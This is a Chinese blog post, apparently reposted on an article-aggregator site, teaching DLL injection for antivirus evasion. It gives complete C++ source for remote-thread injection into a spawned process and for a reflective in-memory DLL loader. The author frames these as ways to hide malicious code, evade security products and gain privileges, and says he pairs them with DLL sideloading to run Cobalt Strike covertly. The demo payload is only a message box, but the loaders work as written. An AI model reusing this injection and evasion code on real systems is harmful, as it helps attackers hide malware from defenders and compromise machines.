网络靶场实战-免杀技术之dll注入技术详解

这篇具有很好参考价值的文章主要介绍了网络靶场实战-免杀技术之dll注入技术详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

驱动级注入dll源码,安全开发,网络靶场,红蓝对抗,windows,microsoft,.net

DLL简介

DLL(动态链接库)注入技术是木马程序,远控程序免杀过程中很常见的一种技术。但是这种技术随着时间的流逝,免杀效果越来越差。因此,需要在原版的基础上我们需要去升级成反射注入,也是目前主流的免杀方式之一,反射注入的介绍我们在下面详解。

在我们继续下面的操作时,我们先去看看dll是什么.MSDN[What is a DLL](https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library)文章。通过文章基本可以了解到dll就是包含各种数据的库,它们提供了一种模块化的代码编写方法。当我们使用像 LoadLibraryA 这样的函数时,可以加载到我们程序中。

什么是 DLL

对于 Windows 操作系统,操作系统的大部分功能都是由 DLL 提供的。此外,当您在这些 Windows 操作系统上运行程序时,该程序的大部分功能可能由 DLL 提供。例如,一些程序可能包含许多不同的模块,程序的每个模块都包含在DLL中并分布在DLL中。

DLL 的使用有助于促进代码的模块化、代码重用、有效的内存使用和减少磁盘空间。因此,操作系统和程序加载速度更快,运行速度更快,并且在计算机上占用的磁盘空间更少。

当程序使用 DLL 时,称为依赖性的问题可能会导致程序无法运行。当程序使用 DLL 时,会创建一个依赖项。如果另一个程序覆盖并破坏了这种依赖关系,则原始程序可能无法成功运行。

随着 .NET Framework 的引入,大多数依赖问题已通过使用程序集消除。

更多信息

DLL 是一个库,其中包含可由多个程序同时使用的代码和数据。例如,在 Windows 操作系统中,Comdlg32 DLL 执行常见的对话框相关功能。每个程序都可以使用此 DLL 中包含的功能来实现打开对话框。它有助于促进代码重用和有效的内存使用,通过使用 DLL,可以将程序模块化为单独的组件。例如,会计程序可以按模块销售。如果安装了该模块,则每个模块都可以在运行时加载到主程序中。因为模块是分开的,所以程序的加载时间更快。并且仅在请求该功能时才加载模块。

此外,更新更容易应用于每个模块,而不会影响程序的其他部分。例如,您可能有一个工资计划,并且税率每年都在变化。当这些更改被隔离到 DLL 时,您可以应用更新而无需再次构建或安装整个程序。

以下列表描述了在 Windows 操作系统中作为 DLL 实现的一些文件:

ActiveX 控件 (.ocx) 文件

    ActiveX 控件的一个示例是日历控件,它允许您从日历中选择日期。

控制面板 (.cpl) 文件

    .cpl 文件的一个示例是位于控制面板中的项目。每个项目都是一个专门的 DLL。

设备驱动程序 (.drv) 文件

    设备驱动程序的一个示例是控制打印到打印机的打印机驱动程序。

DLL 优势

以下列表描述了程序使用 DLL 时提供的一些优势:

使用更少的资源

当多个程序使用同一个函数库时,DLL 可以减少加载到磁盘和物理内存中的代码重复。它不仅可以极大地影响在前台运行的程序的性能,还可以极大地影响在 Windows 操作系统上运行的其他程序的性能。

促进模块化架构

    DLL 有助于促进模块化程序的开发。它可以帮助您开发需要多种语言版本的大型程序或需要模块化架构的程序。模块化程序的一个示例是具有许多可以在运行时动态加载的模块的会计程序。

简化部署和安装

    当 DLL 中的函数需要更新或修复时,DLL 的部署和安装不需要程序与 DLL 重新链接。此外,如果多个程序使用相同的 DLL,则多个程序都将受益于更新或修复。当您使用定期更新或修复的第三方 DLL 时,此问题可能会更频繁地发生。

从磁盘加载DLL(自身加载)

我们首先编写一个DLL(动态链接库),一个EXE(加载器),然后去把DLL加载到我们的EXE中。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "info", NULL);
    break;
  case DLL_THREAD_ATTACH:
    MessageBoxA(NULL, "DLL_THREAD_ATTACH", "info", NULL);
    break;
  case DLL_THREAD_DETACH:
    MessageBoxA(NULL, "DLL_THREAD_DETACH", "info", NULL);
    break;
  case DLL_PROCESS_DETACH:
    MessageBoxA(NULL, "DLL_PROCESS_DETACH", "info", NULL);
    break;
  }
  return TRUE;
}
#include <Windows.h>
#include <iostream>

int main()
{
  // 使用LoadLibraryA加载我们的dll 加载成功返回模块句柄
  printf("%p\n",LoadLibraryA("dll.dll"));
  std::cin.get();
  return 0;
}

驱动级注入dll源码,安全开发,网络靶场,红蓝对抗,windows,microsoft,.net

驱动级注入dll源码,安全开发,网络靶场,红蓝对抗,windows,microsoft,.net

我们这里触发了DLL_PROCESS_ATTACH 关闭exe触发了DLL_PROCESS_DETACH,这里就是说明我们的DLL已经被加载到我们的EXE中了。我们可以用Process Hacker 2工具看下:

驱动级注入dll源码,安全开发,网络靶场,红蓝对抗,windows,microsoft,.net

可以看到我们的模块地址 还有模块名称。

从磁盘加载DLL(远程加载)

如果我们想把我们的程序加载到别的进程中,那么该如何去做呢?

  • 问:为什么要注入到别人的进程中

  • 答:注入到别人的进程中后有利于我们的隐藏。

  • 答:注入到别人的进程中有利于做免杀。

  • 答:注入到系统进程中有更高的操作权限。

DLL程序源码不变,我们去修改下load的代码。注入我会相对详细的去写在代码里面。

#include <Windows.h>
#include <iostream>

void RemoteLoadDll(LPCSTR path)
{
  STARTUPINFOA si = { sizeof(STARTUPINFOA) };
  PROCESS_INFORMATION pi = {};

  // 创建一个notepad的进程
  if (CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL)
  {
    // 如果创建失败直接返回
    return;
  }
  else
  {
    // 创建成功打印进程pid 和 进程句柄
    printf("Process PID: %d\n", pi.dwProcessId);
    printf("Process Handle: %p\n", pi.hProcess);

    int len = strlen(path);
    // 在创建的进程中申请一块内存空间
    LPVOID mem_addr = VirtualAllocEx(pi.hProcess, nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    printf(" :: Base Address: %p\n", mem_addr);
    // 把我们的dll路径写入到我们申请的内存空间内
    WriteProcessMemory(pi.hProcess, mem_addr, (LPVOID)path, len, NULL);
    // 从kernel32中获取到LoadLibraryA的函数地址
    PTHREAD_START_ROUTINE func_addr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
    printf(" :: THREAD_START_ROUTINE: %p\n", func_addr);
    // 创建远程线程调用LoadLibraryA加载我们的dll
    HANDLE thread_handle = CreateRemoteThread(pi.hProcess, NULL, 0, func_addr, mem_addr, 0, NULL);
    printf(" :: Thread: %p\n", thread_handle);
    // 释放工作
    if (pi.hProcess)CloseHandle(pi.hProcess);
    if (pi.hThread)CloseHandle(pi.hThread);
    if (thread_handle)CloseHandle(thread_handle);
  }
}

int main()
{
  // 使用LoadLibraryA加载我们的dll 加载成功返回模块句柄
  // printf("%p\n", LoadLibraryA("dll.dll"));
  
  RemoteLoadDll(R"(E:\Users\RedTeam\Desktop\code\dll-inject\x64\Debug\dll.dll)");

  std::cin.get();
  return 0;
}

驱动级注入dll源码,安全开发,网络靶场,红蓝对抗,windows,microsoft,.net

可以发现DLL已经注入进去了,但是这种注入技术很容易被发现,因为我们在模块中就可以查到我们注入的DLL,那么我们为了更好的隐藏自身,就要用到反射注入了。

反射注入

反射式注入 dll ,不会调用 LoadLibraryA/W 等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在。因此无法使用CreateToolhelp32Snapshot 遍历到这个模块。像ProcessExplorer等软件也无法检测出进程加载了该DLL。同时也不需要 DLL 留在磁盘上(可以通过网络下发,或加密后存放在磁盘)避免文件落地,因此这种注入方式更加隐蔽(也可以说是内存加载,因为两种思路其实是一样的。)。

过程如下

  • 加载DLL的PE文件到要注入的内存中

  • 展开PE文件

  • 修复重定位

  • 解析导入地址表 (IAT)

  • 调用DLL_PROCESS_ATTACH

具体代码如下

#include <iostream>
#include <Windows.h>

//重定位表
typedef struct BASE_RELOCATION_BLOCK {
  DWORD page_addr;
  DWORD block_size;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

//重定位项
typedef struct BASE_RELOCATION_ENTRY {
  USHORT offset : 12;
  USHORT type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
{
  printf("pid:%d\n", GetCurrentProcessId());

  // 获取当前模块
  PVOID imagebase = GetModuleHandleA(NULL);

  //将DLL字节读入内存缓冲区
  HANDLE dll = CreateFileA(R"(C:\Users\Administrator\Desktop\dll-inject\Debug\dll.dll)", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
  DWORD64 dll_size = GetFileSize(dll, NULL);
  LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
  DWORD out_size = 0;
  ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

  // 解析dll
  PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes;
  PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosheaders->e_lfanew);
  SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage;

  // 为DLL分配新的内存空间
  LPVOID dllbase = VirtualAlloc((LPVOID)ntheaders->OptionalHeader.ImageBase, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  printf("new memory addr:%p\n", dllbase);

  //计算得到基地址的偏移量,也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址
  DWORD_PTR delta_image_base = (DWORD_PTR)dllbase - (DWORD_PTR)ntheaders->OptionalHeader.ImageBase;

  // 将DLL节表头复制到新分配的DLL空间
  std::memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders);

  // 将DLL节部分复制到新分配的DLL空间
  PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders);
  for (size_t i = 0; i < ntheaders->FileHeader.NumberOfSections; i++)
  {
    LPVOID section_destination = (LPVOID)((DWORD_PTR)dllbase + (DWORD_PTR)section->VirtualAddress);
    LPVOID section_bytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData);
    std::memcpy(section_destination, section_bytes, section->SizeOfRawData);
    section++;
  }

  //修复重定位
  IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
  DWORD_PTR relocation_table = relocations.VirtualAddress + (DWORD_PTR)dllbase;
  DWORD relocations_processed = 0;

  while (relocations_processed < relocations.Size)
  {
    PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
    relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
    DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
    PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

    for (DWORD i = 0; i < relocations_count; i++)
    {
      relocations_processed += sizeof(BASE_RELOCATION_ENTRY);

      if (relocation_entries[i].type == 0)
      {
        continue;
      }

      DWORD_PTR relocation_rva = relocation_block->page_addr + relocation_entries[i].offset;
      DWORD_PTR address_2_patch = 0;
      ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR), NULL);
      address_2_patch += delta_image_base;
      std::memcpy((PVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR));
    }
  }

  //解析导入地址表
  PIMAGE_IMPORT_DESCRIPTOR import_descriptor = NULL;
  IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD_PTR)dllbase);
  LPCSTR libraryname = "";
  HMODULE library = NULL;

  while (import_descriptor->Name != NULL)
  {
    libraryname = (LPCSTR)import_descriptor->Name + (DWORD_PTR)dllbase;
    library = LoadLibraryA(libraryname);

    if (library)
    {
      PIMAGE_THUNK_DATA thunk = NULL;
      thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllbase + import_descriptor->FirstThunk);

      while (thunk->u1.AddressOfData != NULL)
      {
        if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
        {
          LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
          thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
        }
        else
        {
          PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllbase + thunk->u1.AddressOfData);
          DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
          thunk->u1.Function = functionAddress;
        }
        ++thunk;
      }
    }

    import_descriptor++;
  }

  //执行
  DLLEntry dllentry = (DLLEntry)((DWORD_PTR)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint);
  (*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0);

  CloseHandle(dll);
  HeapFree(GetProcessHeap(), 0, dll_bytes);

  return 0;
}

驱动级注入dll源码,安全开发,网络靶场,红蓝对抗,windows,microsoft,.net

驱动级注入dll源码,安全开发,网络靶场,红蓝对抗,windows,microsoft,.net

从这里可以看到我们DLL的PE结构存放在我们新申请的内存里,我们内存展开后去执行了这个程序。这样更加隐蔽的去执行了我们的程序。在免杀技术中,我经常使用这种技术配合白加黑去执行Cobalt Strike的EXE程序,隐蔽的去执行我们的代码,当然这里我们也可以更加隐蔽的去执行我们的代码。

蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。文章来源地址https://www.toymoban.com/news/detail-723617.html

到了这里,关于网络靶场实战-免杀技术之dll注入技术详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【SQL注入漏洞-04】布尔盲注靶场实战

    当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。 利用页面返回的布尔类型状态,正常或者不正常; 我们输入的语句让页面呈现出两种状态,相当于true和

    2023年04月16日
    浏览(59)
  • 驱动开发:内核RIP劫持实现DLL注入

    本章将探索内核级DLL模块注入实现原理,DLL模块注入在应用层中通常会使用 CreateRemoteThread 直接开启远程线程执行即可,驱动级别的注入有多种实现原理,而其中最简单的一种实现方式则是通过劫持EIP的方式实现,其实现原理可总结为,挂起目标进程,停止目标进程EIP的变换

    2024年02月09日
    浏览(45)
  • 解密 sqli靶场第一关:一步一步学习 SQL 注入技术

      目录 一、判断是否存在注入点 二、构造类似?id=1\\\' --+的语句 三、判断数据表中的列数 四、使用union联合查询 五、使用group_concat()函数 六、爆出数据库中的表名 七、爆出users表中的列名 八、爆出users表中的数据 🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对

    2024年02月04日
    浏览(59)
  • DLL注入技术

    源地址 注入程序 钩子 原地址

    2024年01月24日
    浏览(35)
  • 【第二十三篇】Burpsuite+SQL注入实现登录绕过等(靶场实战案例)

    存在一个业务场景如下 筛选商品时,后端查询语句如下: 只有商品名匹配且该商品已发布(released=1),客户端才能回显数据。 点击Lifestyle时,页面回显 生活方式 有关商品,并可知参数以GET方

    2024年04月10日
    浏览(69)
  • 游戏逆向_DLL注入技术

    DLL注入技术: 是将一个Dll文件强行加载到目标进程中,比如把外挂dll模块注入到游戏进程,这样做的目的在于方便我们通过这个DLL读写目标进程指令或内存数据,(例如 HOOK游戏函数过程或篡改游戏内存数据实现外挂功能),或以被注入进程的身份去执行一些操作等。 全系统

    2023年04月09日
    浏览(55)
  • 红日靶场2 指免杀360 个人学习记录

    360安全卫士,有一说一,确实很强,这几天研究的MSF利用java反序列化的漏洞是无法利用的,其他方法也瘦小甚微 前几天在研究用 用免杀工具 go-shellcode-loader-main免杀工具对我们生成的木马进行加密 本来是用csa4.0黑客工具生成了一个jsp的恶意代码 我首先要承认,微软自带的病

    2024年01月16日
    浏览(41)
  • 网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

    目录 前言 一、dll注入的介绍和示例 dll注入介绍 dll注入示例 二、dll注入实现方法 三、键盘消息监听钩取 消息钩取原理 键盘消息监听钩取具体实现 四、dll注入记事本实现联网下载网页 介绍  实现 五、总结 这是研一专业课网络攻防对抗术的一次汇报,我对其大致内容做了相

    2024年02月11日
    浏览(54)
  • 网络靶场实战-RouterOS漏洞分析(CVE-2022-45315)

    本环境是蛇矛实验室基于\\\"火天网演攻防演训靶场\\\"进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现验证工作。火天网演中,内置大量固件设备,包含大型网络设备及物联网设备,可以灵活选取进行测试验

    2024年02月11日
    浏览(43)
  • 【网络安全】DVWA靶场实战&BurpSuite内网渗透

    我们先来认识一下BurpSuite中有哪些攻击模式,然后开始实战操作 下面攻击案例即将使用,对单个参数进行攻击破解 联想战争中狙击手的作用,一次只能击杀一名敌人 联想古代的攻城锤,特点就是攻击范围比狙击手大,但是效率不一定高 可以设置多个攻击字段,但是payload值

    2024年02月13日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包